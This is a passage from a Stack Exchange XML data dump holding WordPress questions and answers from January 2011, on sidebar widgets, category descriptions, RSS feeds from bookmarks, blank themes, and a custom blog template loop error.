}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="366" LastEditorUserId="366" LastEditorDisplayName="" LastEditDate="2011-01-25T15:37:34.610" LastActivityDate="2011-01-25T15:37:34.610" Title="How can this crude function be improved?" Tags="&lt;functions&gt;&lt;code&gt;&lt;foreach&gt;" AnswerCount="3" CommentCount="3" />
  <row Id="7667" PostTypeId="2" ParentId="7638" CreationDate="2011-01-25T05:12:50.820" Score="1" ViewCount="" Body="&lt;p&gt;you warped your code inside &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; if ( ! dynamic_sidebar( 'primary-widget-area' ) ) : ?&amp;gt;&#xA;     // code here&#xA;&#xA; ?php endif;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;witch means that if you have any widgets on that sidebar the the code within the IF will not work. its basically using the code inside the if to use as default widgets and once you have a widget on the sidebar it ignores it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;so if your sidebar does have any widgets you need to run your is_user_logged_in function&#xA;inside a PHP capable widget.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;hope this helps&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-01-25T05:12:50.820" CommentCount="3" />
  <row Id="7668" PostTypeId="2" ParentId="7665" CreationDate="2011-01-25T05:19:02.217" Score="4" ViewCount="" Body="&lt;pre&gt;&lt;code&gt;function admin_trim_category_description( $terms, $taxonomies ){&#xA;  if( 'category' != $taxonomies[0] )return $terms;&#xA;  $whatever_categories = array('category1', 'hidden', 'category2', 'category3');&#xA;&#xA;  foreach( $terms as $key =&amp;gt; $term)&#xA;    if(!in_array($terms[$key]-&amp;gt;name, $whatever_categories)) $terms[$key]-&amp;gt;description = strip_tags(substr( $term-&amp;gt;description, 0, 75 )).&quot;...&quot;;&#xA;    else unset($terms[$key]);&#xA;&#xA;&#xA;  return $terms;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1986" LastActivityDate="2011-01-25T05:19:02.217" CommentCount="2" />
  <row Id="7669" PostTypeId="2" ParentId="7665" CreationDate="2011-01-25T05:20:22.970" Score="1" ViewCount="" Body="&lt;p&gt;The only thing I can see which is blatantly inefficient is the fact that you call &lt;code&gt;get_cat_ID&lt;/code&gt; for every category for every term. That's a db query for each function call.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It would be more efficient to call those functions before the &lt;code&gt;foreach&lt;/code&gt; and put them in an array sent as a parameter to the function.&lt;/p&gt;&#xA;" OwnerUserId="1695" LastActivityDate="2011-01-25T05:20:22.970" />
  <row Id="7670" PostTypeId="2" ParentId="7665" CreationDate="2011-01-25T05:22:13.193" Score="0" ViewCount="" Body="&lt;p&gt;Perhaps try adding the terms you're checking for into an array, and then just check if the $cat_id is in the array. I want to say that there are functions similar to that, but I can't place them offhand. It would eliminate the need for the OR's&lt;/p&gt;&#xA;" OwnerUserId="1006" LastActivityDate="2011-01-25T05:22:13.193" />
  <row Id="7671" PostTypeId="2" ParentId="7620" CreationDate="2011-01-25T05:29:42.947" Score="0" ViewCount="" Body="&lt;p&gt;I know that on one project site, I was able to create a field on the user profile editor page for accepting an image path(uploaded through the media page if I recall right) that was able to be used for avatars. No plugins needed.&lt;/p&gt;&#xA;" OwnerUserId="1006" LastActivityDate="2011-01-25T05:29:42.947" />
  <row Id="7672" PostTypeId="2" ParentId="7661" CreationDate="2011-01-25T05:37:38.253" Score="0" ViewCount="" Body="&lt;p&gt;@Maor Barazany - Glad you joined this site. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think adding a custom field to your taxonomy witch is in the form of select tag so each one of your taxonomy terms is linked to a category is the best way to create that relationships. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then on your meta box create a dropdown of you categories with an OnChange event function to show the taxonomy terms related to that category all in JQuery or plain JavaScript without the ajax part.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;in that way once the user selects a category from the dropdown the list of taxonomy terms will&#xA;change according to that category, and there is no need to save a draft for that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically what I'm suggesting is to generate all of the relations on the meta box display function so you won't need to create any ajax calls.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;hope's this makes any sense.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-01-25T05:37:38.253" CommentCount="1" />
  <row Id="7673" PostTypeId="1" AcceptedAnswerId="7696" CreationDate="2011-01-25T05:56:07.163" Score="0" ViewCount="87" Body="&lt;p&gt;My site is running on site say : www.xyz.com&lt;br&gt;&#xA;My blog is at say : &lt;a href=&quot;http://www.xyz.com/blog&quot; rel=&quot;nofollow&quot;&gt;http://www.xyz.com/blog&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have one header implemented in my main site, I want to use that header file as a worpress header. Is there any way I can do this?&lt;/p&gt;&#xA;" OwnerUserId="2540" LastEditorUserId="298" LastEditorDisplayName="" LastEditDate="2011-03-20T18:13:32.600" LastActivityDate="2011-03-20T18:13:32.600" Title="Use custom header as WordPress header" Tags="&lt;customization&gt;&lt;headers&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="7674" PostTypeId="2" ParentId="7663" CreationDate="2011-01-25T05:56:25.093" Score="0" ViewCount="" Body="&lt;p&gt;Short answer: No.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;fetch_feed() expects an URL, so you basically need to create a URL that will return link_rss data in form of RSS-Feed while being requested via HTTP. That looks too complicated in my eyes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Filtering the fetch_feed() function is too complicated as well. Probably injecting the feed using the data: url scheme might do some magic, but I assume that SimplePie might not deal with that.&lt;/p&gt;&#xA;" OwnerUserId="178" LastActivityDate="2011-01-25T05:56:25.093" CommentCount="4" />
  <row Id="7675" PostTypeId="2" ParentId="5340" CreationDate="2011-01-25T06:26:52.293" Score="0" ViewCount="" Body="&lt;p&gt;There are few gropun clone scripts out there, some even come as &lt;a href=&quot;http://www.couponpress.com/&quot; rel=&quot;nofollow&quot;&gt;WordPress theme&lt;/a&gt; and some are just dedicated scripts&lt;/p&gt;&#xA;" OwnerUserId="2713" LastActivityDate="2011-01-25T06:26:52.293" />
  <row Id="7676" PostTypeId="1" CreationDate="2011-01-25T06:36:15.480" Score="1" ViewCount="138" Body="&lt;p&gt;I've be using &lt;a href=&quot;http://starkerstheme.com/&quot; rel=&quot;nofollow&quot;&gt;Starkers&lt;/a&gt; for a while but I wonder if there are blank/naked themes with better code, files, and folder organization (based on Wordpress coding standards)?&lt;/p&gt;&#xA;" OwnerUserId="781" LastActivityDate="2011-01-25T08:45:18.213" Title="Which is the most well coded and semantically correct naked/blank Wordpress theme (based on Wordpress coding standards)?" Tags="&lt;themes&gt;" AnswerCount="1" />
  <row Id="7677" PostTypeId="2" ParentId="7663" CreationDate="2011-01-25T07:12:16.247" Score="1" ViewCount="" Body="&lt;p&gt;Possible, only I am not entirely sure about specifics of looping through multi-feed SimplePie object. Customize &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_bookmarks&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;get_bookmarks()&lt;/code&gt;&lt;/a&gt; call to query for links you need. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$bookmarks = get_bookmarks();&#xA;$feeds = array();&#xA;&#xA;foreach($bookmarks as $bookmark)&#xA;    if($bookmark-&amp;gt;link_rss)&#xA;        $feeds[] = $bookmark-&amp;gt;link_rss;&#xA;&#xA;$items = fetch_feed($feeds);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-01-25T07:12:16.247" />
  <row Id="7678" PostTypeId="2" ParentId="7676" CreationDate="2011-01-25T07:45:37.673" Score="2" ViewCount="" Body="&lt;p&gt;I used whiteboard and Refuled but i think you can take any blank theme, and do some fine tuning to it in order to turn it to &lt;strong&gt;your own&lt;/strong&gt; blank theme.&#xA;For example, remove functions you dont need from the functions.php file, and make sure to reduce any unused CSS rules and to better reset the CSS.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would also take a look at the HTML structure to see it contains DIVs for content and ULs for navigation as standard coding. Of course, you should also perform HTML and CSS validation (by W3C).&lt;/p&gt;&#xA;" OwnerUserId="1502" LastEditorUserId="1502" LastEditorDisplayName="" LastEditDate="2011-01-25T08:45:18.213" LastActivityDate="2011-01-25T08:45:18.213" />
  <row Id="7679" PostTypeId="1" CreationDate="2011-01-25T08:01:33.330" Score="1" ViewCount="408" Body="&lt;p&gt;I made a custom template for the blog section of my page. I even set post page to &lt;strong&gt;Blog&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I created a custom post type called Page Content and the posts are retrieved in the &lt;code&gt;#feature&lt;/code&gt; div. But the main posts (written in the Posts panel) are not being shown (&lt;code&gt;#blog&lt;/code&gt; div)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions to solve this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: I just saw this in the webkit inspector:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Fatal error: Cannot use object of type WP_Query as array in /home/alex/www/wpa/wp-includes/query.php on line 2555&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(I'm using the Starkers theme)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;code:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;home.php:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;   &amp;lt;?php&#xA;    /**&#xA;     * Template Name: Blog&#xA;     * @package WordPress&#xA;     * @subpackage Prominent&#xA;     * @since Prominent 1.0&#xA;     */&#xA;    get_header(); ?&amp;gt;&#xA;    &amp;lt;div class=&quot;shadow-top&quot;&amp;gt;&#xA;        &amp;lt;!-- Shadow at the top of the slider --&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;div id=&quot;feature&quot;&amp;gt;&#xA;        &amp;lt;div class=&quot;container&quot;&amp;gt;&#xA;            &amp;lt;div id=&quot;slider-wrapper&quot;&amp;gt;&#xA;                &amp;lt;div id=&quot;slider&quot;&amp;gt;&#xA;                    &amp;lt;?php // Retrive custom post type with a custom taxonomy assigned to it&#xA;                    $posts = new WP_Query('post_type=page_content&amp;amp;page_sections=Slider (Front Page)&amp;amp;order=ASC') ?&amp;gt;&#xA;                    &amp;lt;?php while ( $posts-&amp;gt;have_posts() ) : $posts-&amp;gt;the_post(); ?&amp;gt;&#xA;                        &amp;lt;?php the_content(); ?&amp;gt;&#xA;                    &amp;lt;?php endwhile; ?&amp;gt;&#xA;                    &amp;lt;?php wp_reset_query(); ?&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;                &amp;lt;div class=&quot;shadow-slider&quot;&amp;gt;&#xA;                    &amp;lt;!-- Shadow at the bottom of the slider --&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&amp;lt;!-- #slider-wrapper --&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&amp;lt;!-- .container --&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&amp;lt;!-- #featured --&amp;gt;&#xA;    &amp;lt;div class=&quot;shadow-bottom&quot;&amp;gt;&#xA;        &amp;lt;!-- Shadow at the bottom of the slider --&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;div id=&quot;content&quot;&amp;gt;&#xA;        &amp;lt;div class=&quot;container&quot;&amp;gt;&#xA;            &amp;lt;div id=&quot;blog&quot;&amp;gt;&#xA;                &amp;lt;?php // Retrieve blog entries (The Loop)&#xA;                get_template_part( 'loop', 'index' ); ?&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&amp;lt;!-- .container --&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&amp;lt;!-- #content-bottom --&amp;gt;&#xA;    &amp;lt;?php get_footer(); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;index.php:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/**&#xA; * The main template file.&#xA; *&#xA; * This is the most generic template file in a WordPress theme&#xA; * and one of the two required files for a theme (the other being style.css).&#xA; * It is used to display a page when nothing more specific matches a query.&#xA; * E.g., it puts together the home page when no home.php file exists.&#xA; * Learn more: http://codex.wordpress.org/Template_Hierarchy&#xA; *&#xA; * @package WordPress&#xA; * @subpackage Starkers&#xA; * @since Starkers 3.0&#xA; */&#xA;&#xA;get_header(); ?&amp;gt;&#xA;&#xA;            &amp;lt;?php&#xA;            /* Run the loop to output the posts.&#xA;             * If you want to overload this in a child theme then include a file&#xA;             * called loop-index.php and that will be used instead.&#xA;             */&#xA;            get_template_part( 'loop', 'index' );&#xA;            ?&amp;gt;&#xA;&#xA;&amp;lt;?php get_sidebar(); ?&amp;gt;&#xA;&amp;lt;?php get_footer(); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;loop.php:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/**&#xA; * The loop that displays posts.&#xA; *&#xA; * The loop displays the posts and the post content.  See&#xA; * http://codex.wordpress.org/The_Loop to understand it and&#xA; * http://codex.wordpress.org/Template_Tags to understand&#xA; * the tags used in it.&#xA; *&#xA; * This can be overridden in child themes with loop.php or&#xA; * loop-template.php, where 'template' is the loop context&#xA; * requested by a template. For example, loop-index.php would&#xA; * be used if it exists and we ask for the loop with:&#xA; * &amp;lt;code&amp;gt;get_template_part( 'loop', 'index' );&amp;lt;/code&amp;gt;&#xA; *&#xA; * @package WordPress&#xA; * @subpackage Starkers&#xA; * @since Starkers 3.0&#xA; */&#xA;?&amp;gt;&#xA;&#xA;&amp;lt;?php /* Display navigation to next/previous pages when applicable */ ?&amp;gt;&#xA;&amp;lt;?php if ( $wp_query-&amp;gt;max_num_pages &amp;gt; 1 ) : ?&amp;gt;&#xA;        &amp;lt;?php next_posts_link( __( '&amp;amp;larr; Older posts', 'twentyten' ) ); ?&amp;gt;&#xA;        &amp;lt;?php previous_posts_link( __( 'Newer posts &amp;amp;rarr;', 'twentyten' ) ); ?&amp;gt;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&#xA;&amp;lt;?php /* If there are no posts to display, such as an empty archive page */ ?&amp;gt;&#xA;&amp;lt;?php if ( ! have_posts() ) : ?&amp;gt;&#xA;        &amp;lt;h1&amp;gt;&amp;lt;?php _e( 'Not Found', 'twentyten' ); ?&amp;gt;&amp;lt;/h1&amp;gt;&#xA;        &amp;lt;p&amp;gt;&amp;lt;?php _e( 'Apologies, but no results were found for the requested archive. Perhaps searching will help find a related post.', 'twentyten' ); ?&amp;gt;&amp;lt;/p&amp;gt;&#xA;        &amp;lt;?php get_search_form(); ?&amp;gt;&#xA;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&#xA;&amp;lt;?php&#xA;    /* Start the Loop.&#xA;     *&#xA;     * In Twenty Ten we use the same loop in multiple contexts.&#xA;     * It is broken into three main parts: when we're displaying&#xA;     * posts that are in the gallery category, when we're displaying&#xA;     * posts in the asides category, and finally all other posts.&#xA;     *&#xA;     * Additionally, we sometimes check for whether we are on an&#xA;     * archive page, a search page, etc., allowing for small differences&#xA;     * in the loop on each template without actually duplicating&#xA;     * the rest of the loop that is shared.&#xA;     *&#xA;     * Without further ado, the loop:&#xA;     */ ?&amp;gt;&#xA;&amp;lt;?php while ( have_posts() ) : the_post(); ?&amp;gt;&#xA;&#xA;&amp;lt;?php /* How to display posts in the Gallery category. */ ?&amp;gt;&#xA;&#xA;    &amp;lt;?php if ( in_category( _x('gallery', 'gallery category slug', 'twentyten') ) ) : ?&amp;gt;&#xA;            &amp;lt;h2&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php the_permalink(); ?&amp;gt;&quot; title=&quot;&amp;lt;?php printf( esc_attr__( 'Permalink to %s', 'twentyten' ), the_title_attribute( 'echo=0' ) ); ?&amp;gt;&quot; rel=&quot;bookmark&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/h2&amp;gt;&#xA;            &amp;lt;?php twentyten_posted_on(); ?&amp;gt;&#xA;&#xA;&amp;lt;?php if ( post_password_required() ) : ?&amp;gt;&#xA;                &amp;lt;?php the_content(); ?&amp;gt;&#xA;&amp;lt;?php else : ?&amp;gt;&#xA;&amp;lt;?php&#xA;    $images = get_children( array( 'post_parent' =&amp;gt; $post-&amp;gt;ID, 'post_type' =&amp;gt; 'attachment', 'post_mime_type' =&amp;gt; 'image', 'orderby' =&amp;gt; 'menu_order', 'order' =&amp;gt; 'ASC', 'numberposts' =&amp;gt; 999 ) );&#xA;    $total_images = count( $images );&#xA;    $image = array_shift( $images );&#xA;    $image_img_tag = wp_get_attachment_image( $image-&amp;gt;ID, 'thumbnail' );&#xA;?&amp;gt;&#xA;                    &amp;lt;a href=&quot;&amp;lt;?php the_permalink(); ?&amp;gt;&quot;&amp;gt;&amp;lt;?php echo $image_img_tag; ?&amp;gt;&amp;lt;/a&amp;gt;&#xA;&#xA;                &amp;lt;p&amp;gt;&amp;lt;?php printf( __( 'This gallery contains &amp;lt;a %1$s&amp;gt;%2$s photos&amp;lt;/a&amp;gt;.', 'twentyten' ),&#xA;                        'href=&quot;' . get_permalink() . '&quot; title=&quot;' . sprintf( esc_attr__( 'Permalink to %s', 'twentyten' ), the_title_attribute( 'echo=0' ) ) . '&quot; rel=&quot;bookmark&quot;',&#xA;                        $total_images&#xA;                    ); ?&amp;gt;&amp;lt;/p&amp;gt;&#xA;&#xA;                &amp;lt;?php the_excerpt(); ?&amp;gt;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&#xA;                &amp;lt;a href=&quot;&amp;lt;?php echo get_term_link( _x('gallery', 'gallery category slug', 'twentyten'), 'category' ); ?&amp;gt;&quot; title=&quot;&amp;lt;?php esc_attr_e( 'View posts in the Gallery category', 'twentyten' ); ?&amp;gt;&quot;&amp;gt;&amp;lt;?php _e( 'More Galleries', 'twentyten' ); ?&amp;gt;&amp;lt;/a&amp;gt;&#xA;                |&#xA;                &amp;lt;?php comments_popup_link( __( 'Leave a comment', 'twentyten' ), __( '1 Comment', 'twentyten' ), __( '% Comments', 'twentyten' ) ); ?&amp;gt;&#xA;                &amp;lt;?php edit_post_link( __( 'Edit', 'twentyten' ), '|', '' ); ?&amp;gt;&#xA;&#xA;&amp;lt;?php /* How to display posts in the asides category */ ?&amp;gt;&#xA;&#xA;    &amp;lt;?php elseif ( in_category( _x('asides', 'asides category slug', 'twentyten') ) ) : ?&amp;gt;&#xA;&#xA;        &amp;lt;?php if ( is_archive() || is_search() ) : // Display excerpts for archives and search. ?&amp;gt;&#xA;            &amp;lt;?php the_excerpt(); ?&amp;gt;&#xA;        &amp;lt;?php else : ?&amp;gt;&#xA;            &amp;lt;?php the_content( __( 'Continue reading &amp;amp;rarr;', 'twentyten' ) ); ?&amp;gt;&#xA;        &amp;lt;?php endif; ?&amp;gt;&#xA;&#xA;                &amp;lt;?php twentyten_posted_on(); ?&amp;gt;&#xA;                |&#xA;                &amp;lt;?php comments_popup_link( __( 'Leave a comment', 'twentyten' ), __( '1 Comment', 'twentyten' ), __( '% Comments', 'twentyten' ) ); ?&amp;gt;&#xA;                &amp;lt;?php edit_post_link( __( 'Edit', 'twentyten' ), '| ', '' ); ?&amp;gt;&#xA;&#xA;&amp;lt;?php /* How to display all other posts. */ ?&amp;gt;&#xA;&#xA;    &amp;lt;?php else : ?&amp;gt;&#xA;            &amp;lt;h2&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php the_permalink(); ?&amp;gt;&quot; title=&quot;&amp;lt;?php printf( esc_attr__( 'Permalink to %s', 'twentyten' ), the_title_attribute( 'echo=0' ) ); ?&amp;gt;&quot; rel=&quot;bookmark&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/h2&amp;gt;&#xA;            &amp;lt;?php twentyten_posted_on(); ?&amp;gt;&#xA;&#xA;    &amp;lt;?php if ( is_archive() || is_search() ) : // Only display excerpts for archives and search. ?&amp;gt;&#xA;            &amp;lt;?php the_excerpt(); ?&amp;gt;&#xA;    &amp;lt;?php else : ?&amp;gt;&#xA;            &amp;lt;?php the_content( __( 'Continue reading &amp;amp;rarr;', 'twentyten' ) ); ?&amp;gt;&#xA;            &amp;lt;?php wp_link_pages( array( 'before' =&amp;gt; '' . __( 'Pages:', 'twentyten' ), 'after' =&amp;gt; '' ) ); ?&amp;gt;&#xA;    &amp;lt;?php endif; ?&amp;gt;&#xA;&#xA;                &amp;lt;?php if ( count( get_the_category() ) ) : ?&amp;gt;&#xA;                    &amp;lt;?php printf( __( 'Posted in %2$s', 'twentyten' ), 'entry-utility-prep entry-utility-prep-cat-links', get_the_category_list( ', ' ) ); ?&amp;gt;&#xA;                    |&#xA;                &amp;lt;?php endif; ?&amp;gt;&#xA;                &amp;lt;?php&#xA;                    $tags_list = get_the_tag_list( '', ', ' );&#xA;                    if ( $tags_list ):&#xA;                ?&amp;gt;&#xA;                    &amp;lt;?php printf( __( 'Tagged %2$s', 'twentyten' ), 'entry-utility-prep entry-utility-prep-tag-links', $tags_list ); ?&amp;gt;&#xA;                    |&#xA;                &amp;lt;?php endif; ?&amp;gt;&#xA;                &amp;lt;?php comments_popup_link( __( 'Leave a comment', 'twentyten' ), __( '1 Comment', 'twentyten' ), __( '% Comments', 'twentyten' ) ); ?&amp;gt;&#xA;                &amp;lt;?php edit_post_link( __( 'Edit', 'twentyten' ), '| ', '' ); ?&amp;gt;&#xA;&#xA;        &amp;lt;?php comments_template( '', true ); ?&amp;gt;&#xA;&#xA;    &amp;lt;?php endif; // This was the if statement that broke the loop into three parts based on categories. ?&amp;gt;&#xA;&#xA;&amp;lt;?php endwhile; // End the loop. Whew. ?&amp;gt;&#xA;&#xA;&amp;lt;?php /* Display navigation to next/previous pages when applicable */ ?&amp;gt;&#xA;&amp;lt;?php if (  $wp_query-&amp;gt;max_num_pages &amp;gt; 1 ) : ?&amp;gt;&#xA;                &amp;lt;?php next_posts_link( __( '&amp;amp;larr; Older posts', 'twentyten' ) ); ?&amp;gt;&#xA;                &amp;lt;?php previous_posts_link( __( 'Newer posts &amp;amp;rarr;', 'twentyten' ) ); ?&amp;gt;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="781" LastActivityDate="2011-05-24T16:20:28.943" Title="The main Loop is not starting in a custom blog template page" Tags="&lt;loop&gt;" AnswerCount="2" />
  <row Id="7680" PostTypeId="2" ParentId="7679" CreationDate="2011-01-25T08:30:46.820" Score="0" ViewCount="" Body="&lt;p&gt;The &lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.0.4/wp-includes/query.php/#L2555&quot; rel=&quot;nofollow&quot;&gt;line referenced in that error&lt;/a&gt; is quite simple - it assigns next post from array of retrieved posts to field of current post.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;post = $this-&amp;gt;posts[$this-&amp;gt;current_post];&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;According to error instead of array &lt;code&gt;WP_Query-&amp;gt;posts&lt;/code&gt; field contains &lt;code&gt;WP_Query&lt;/code&gt; object (or maybe reference to one) for some reason. I can't quite come up with scenario why this might happen and this is not a normal query mechanics.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does it work with your custom featured idea removed from template? I mean can you say definitively that your custom secondary loop is or is not the reason for error?&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-01-25T08:30:46.820" />
  <row Id="7681" PostTypeId="2" ParentId="4307" CreationDate="2011-01-25T08:31:28.910" Score="1" ViewCount="" Body="&lt;p&gt;Here is a complete tutorial with source files that do exactly what you want,&lt;br&gt;&#xA;You can upload multi images by cloning the input field and also you can preview, delete images with ajax, add multi metaboxes to multiple/different post types and more.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.deluxeblogtips.com/2010/05/howto-meta-box-wordpress.html&quot; rel=&quot;nofollow&quot;&gt;http://www.deluxeblogtips.com/2010/05/howto-meta-box-wordpress.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2048" LastActivityDate="2011-01-25T08:31:28.910" />
  <row Id="7682" PostTypeId="2" ParentId="7679" CreationDate="2011-01-25T08:40:01.630" Score="3" ViewCount="" Body="&lt;p&gt;It seems like the variable &lt;code&gt;$posts&lt;/code&gt; is already used in the &lt;code&gt;query.php&lt;/code&gt; files (not very sure).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Changing &lt;code&gt;#posts&lt;/code&gt; to &lt;code&gt;$custom_posts&lt;/code&gt; solved the problem.&lt;/p&gt;&#xA;" OwnerUserId="781" LastActivityDate="2011-01-25T08:40:01.630" CommentCount="1" />
  <row Id="7683" PostTypeId="1" AcceptedAnswerId="7684" CreationDate="2011-01-25T08:54:51.673" Score="0" ViewCount="50" Body="&lt;p&gt;What's the code of the loop which retrieves the Page title and description?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I checked the code inside page.php of the Starkers theme (I guess is the same as the TwentyTen theme):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if ( have_posts() ) while ( have_posts() ) : the_post(); ?&amp;gt;&#xA;&#xA;     &amp;lt;?php if ( is_front_page() ) { ?&amp;gt;&#xA;      &amp;lt;h2&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/h2&amp;gt;&#xA;     &amp;lt;?php } else { ?&amp;gt; &#xA;      &amp;lt;h1&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/h1&amp;gt;&#xA;     &amp;lt;?php } ?&amp;gt;    &#xA;&#xA;      &amp;lt;?php the_content(); ?&amp;gt;&#xA;      &amp;lt;?php wp_link_pages( array( 'before' =&amp;gt; '' . __( 'Pages:', 'twentyten' ), 'after' =&amp;gt; '' ) ); ?&amp;gt;&#xA;      &amp;lt;?php edit_post_link( __( 'Edit', 'twentyten' ), '', '' ); ?&amp;gt;&#xA;&#xA;    &amp;lt;?php comments_template( '', true ); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I looks identical to the loop which retrieves the main (blog) posts. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What's the difference?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Which is the part which retrieves the title and content of the current Page?&lt;/p&gt;&#xA;" OwnerUserId="781" LastActivityDate="2011-01-25T09:01:44.630" Title="What's the section of code (or loop) which retrieves the Page title and description?" Tags="&lt;page&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="7684" PostTypeId="2" ParentId="7683" CreationDate="2011-01-25T09:01:44.630" Score="1" ViewCount="" Body="&lt;p&gt;As usual - &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/the_title&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;the_title()&lt;/code&gt;&lt;/a&gt; and &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/the_content&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;the_content()&lt;/code&gt;&lt;/a&gt;. Posts page and &lt;em&gt;a PAGE page&lt;/em&gt; are different in amount and type of content, but mechanics of &lt;a href=&quot;http://codex.wordpress.org/The_Loop&quot; rel=&quot;nofollow&quot;&gt;main Loop&lt;/a&gt; and &lt;a href=&quot;http://codex.wordpress.org/Template_Tags&quot; rel=&quot;nofollow&quot;&gt;template tags&lt;/a&gt; are essentially same.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-01-25T09:01:44.630" CommentCount="2" />
  <row Id="7685" PostTypeId="1" CreationDate="2011-01-25T09:23:51.013" Score="0" ViewCount="182" Body="&lt;p&gt;I made a home.php file and called it Blog.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It set it to be the Posts page, but I would like to add a title that will be displayed in that page (the title of page or content).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;e.g:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Posts page:&#xA;&#xA;    Page title&#xA;    (Maybe page content)&#xA;&#xA;    == Posts ==&#xA;&#xA;    Post Title&#xA;    Post Content&#xA;&#xA;Post Title and so on&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="781" LastActivityDate="2011-01-25T09:23:51.013" Title="How to display the page title/content in the Posts page?" Tags="&lt;posts&gt;&lt;page&gt;" CommentCount="2" />
  <row Id="7686" PostTypeId="1" AcceptedAnswerId="7705" CreationDate="2011-01-25T09:53:58.820" Score="0" ViewCount="270" Body="&lt;p&gt;Is there any plugin for having a quote/text rotator (quotes entered by the user) in the form of a widget?? I found one, but it has only a fade transition effect, I would like to have my quotes sliding from right to left instead of fading in/out&lt;/p&gt;&#xA;" OwnerUserId="2618" LastActivityDate="2011-01-25T11:57:56.113" Title="Any plugin for quote/text rotator widget with slide effect?" Tags="&lt;plugin-recommendation&gt;&lt;plugins&gt;" AnswerCount="1" />
